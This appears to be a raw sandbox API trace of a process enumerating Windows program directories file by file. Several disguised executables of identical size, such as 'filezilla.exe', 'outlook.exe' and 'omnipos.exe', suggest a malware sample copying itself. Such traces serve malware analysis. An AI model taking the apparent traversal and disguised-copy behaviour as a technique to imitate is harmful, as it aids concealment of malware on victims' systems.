	[0091.770] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0091.770] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.770] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0091.771] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.771] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0091.771] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0091.771] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0091.771] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0091.771] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0091.771] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1
	[0091.771] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.166] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0
	[0092.166] FindClose (in: hFindFile=0x31211d0 | out: hFindFile=0x31211d0) returned 1
	[0092.166] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.169] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0
	[0092.169] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0092.176] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.176] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x22a71b51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x22a71b51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0092.177] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.177] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1
	[0092.177] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.177] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e88ea20, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e88ea20, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0092.179] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.179] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0092.180] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.180] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449db860, ftCreationTime.dwHighDateTime=0x1d5612c, ftLastAccessTime.dwLowDateTime=0x6a5ddf50, ftLastAccessTime.dwHighDateTime=0x1d59d02, ftLastWriteTime.dwLowDateTime=0x6a5ddf50, ftLastWriteTime.dwHighDateTime=0x1d59d02, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="omnipos.exe", cAlternateFileName="")) returned 1
	[0092.180] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.180] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b7eb14e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7eb14e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0092.181] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.181] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1
	[0092.181] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.181] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e75d729, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e75d729, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0092.181] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.181] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6394b70, ftCreationTime.dwHighDateTime=0x1d5a753, ftLastAccessTime.dwLowDateTime=0xb915c3d0, ftLastAccessTime.dwHighDateTime=0x1d5c6d6, ftLastWriteTime.dwLowDateTime=0xb915c3d0, ftLastWriteTime.dwHighDateTime=0x1d5c6d6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1
	[0092.181] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.181] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0092.183] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.183] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0092.183] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.183] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0092.185] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.185] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0092.187] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.187] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5c60b90, ftCreationTime.dwHighDateTime=0x1d56489, ftLastAccessTime.dwLowDateTime=0x84d23e10, ftLastAccessTime.dwHighDateTime=0x1d5ca90, ftLastWriteTime.dwLowDateTime=0x84d23e10, ftLastWriteTime.dwHighDateTime=0x1d5ca90, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1
	[0092.187] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.187] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0092.187] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.187] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0092.187] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.187] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40fe91bf, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40fe91bf, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0092.188] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.188] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0092.188] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.188] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0092.188] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.188] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7034b0a0, ftCreationTime.dwHighDateTime=0x1d55c09, ftLastAccessTime.dwLowDateTime=0x6e5c78a0, ftLastAccessTime.dwHighDateTime=0x1d5738b, ftLastWriteTime.dwLowDateTime=0x6e5c78a0, ftLastWriteTime.dwHighDateTime=0x1d5738b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hart-changing-bills.exe", cAlternateFileName="HART-C~1.EXE")) returned 1
	[0092.188] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.188] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0092.200] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.200] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0092.200] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0092.200] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.200] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0092.200] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.200] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0092.200] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.200] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0092.201] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.201] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0092.201] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.201] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1
	[0092.201] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.201] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31ce9140, ftCreationTime.dwHighDateTime=0x1d5baf6, ftLastAccessTime.dwLowDateTime=0xd63d5d70, ftLastAccessTime.dwHighDateTime=0x1d5cb6c, ftLastWriteTime.dwLowDateTime=0xd63d5d70, ftLastWriteTime.dwHighDateTime=0x1d5cb6c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1
	[0092.201] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.201] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0092.201] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.201] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1
	[0092.202] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.202] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0
	[0092.202] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
